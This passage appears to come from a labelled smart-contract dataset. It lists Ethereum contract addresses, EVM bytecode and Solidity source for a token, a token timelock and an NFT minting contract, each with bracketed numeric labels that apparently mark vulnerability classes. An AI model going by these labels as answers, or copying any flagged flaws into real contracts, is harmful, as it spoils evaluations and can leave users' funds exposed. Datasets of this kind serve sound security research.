fffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582098088d4163c9cb16b179a0f0b3461e8368d4d632866faf25059b70cafb7c4a6e0029
[ 2 ]
0xf22e45eaabe156628472b312f0261f8aaee4755e
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28080000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x9f4Bcf8AABC8B0d2f8Ee3753E5406396219EdF37; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582002b119618c488638706539cdf5c3fc19efe66f19c5af7eaabaff70b25b4e13300029
[ 16, 7 ]
0xf22E89E9f345F85a206fdA87167E70C9aA578e56
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import { Base64 } from "./libraries/Base64.sol"; contract AlphaFlyersNFT is ERC721URIStorage, Ownable, ReentrancyGuard { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 public immutable whitelistMintPrice = 0.15 ether; uint256 public immutable maxIds = 333; bool public whitelistMintState; mapping(address => uint256) public allowlist; uint256 public minted = 0; modifier whitelistOnly() { require(whitelistMintState, "Whitelist mint has not started yet."); _; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } event NewAlphaFlyersNFTMinted(address sender, uint256 tokenId); constructor() ERC721("Alpha Flyers", "FLYER") { whitelistMintState = false; } function seedAllowlist( address[] memory addresses, uint256[] memory numSlots ) external onlyOwner { require( addresses.length == numSlots.length, "addresses does not match numSlots length" ); for (uint256 i = 0; i < addresses.length; i++) { allowlist[addresses[i]] = numSlots[i]; } } function devMint(uint256 quantity) external onlyOwner { for (uint256 i = 0; i < quantity; i++) { uint256 currentTokenIds = _tokenIds.current(); string memory combinedTokenURI = string(abi.encodePacked("https://ipfs.io/ipfs/bafybeibwfqrtp6q4on4t7cdr55zx4j4uephpp6vswc4773uji32shjou4u/", Strings.toString(currentTokenIds), ".token.json")); _safeMint(msg.sender, currentTokenIds); _setTokenURI(currentTokenIds, combinedTokenURI); _tokenIds.increment(); minted++; emit NewAlphaFlyersNFTMinted(msg.sender, currentTokenIds); } } function openWhiteListMint() public onlyOwner { whitelistMintState = true; } function closeWhiteListMint() public onlyOwner { whitelistMintState = false; } function whitelistMint() external payable callerIsUser whitelistOnly { require(whitelistMintState == true, "whitelist sale has not begun yet"); // To check if the sender is whitelisted require(allowlist[msg.sender] > 0, "not eligible for whitelist mint"); // To double check the mint price require( msg.value >= whitelistMintPrice, "change your mint price to 0.15 eth" ); allowlist[msg.sender]--; uint256 currentTokenIds = _tokenIds.current(); string memory combinedTokenURI = string(abi.encodePacked("https://ipfs.io/ipfs/bafybeibwfqrtp6q4on4t7cdr55zx4j4uephpp6vswc4773uji32shjou4u/", Strings.toString(currentTokenIds), ".token.json")); _safeMint(msg.sender, currentTokenIds); _setTokenURI(currentTokenIds, combinedTokenURI); _tokenIds.increment(); minted++; emit NewAlphaFlyersNFTMinted(msg.sender, currentTokenIds); } function withdrawMoney() external onlyOwner nonReentrant { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** *Submitted for verification at Etherscan.io on 2021-09-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF) ) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] 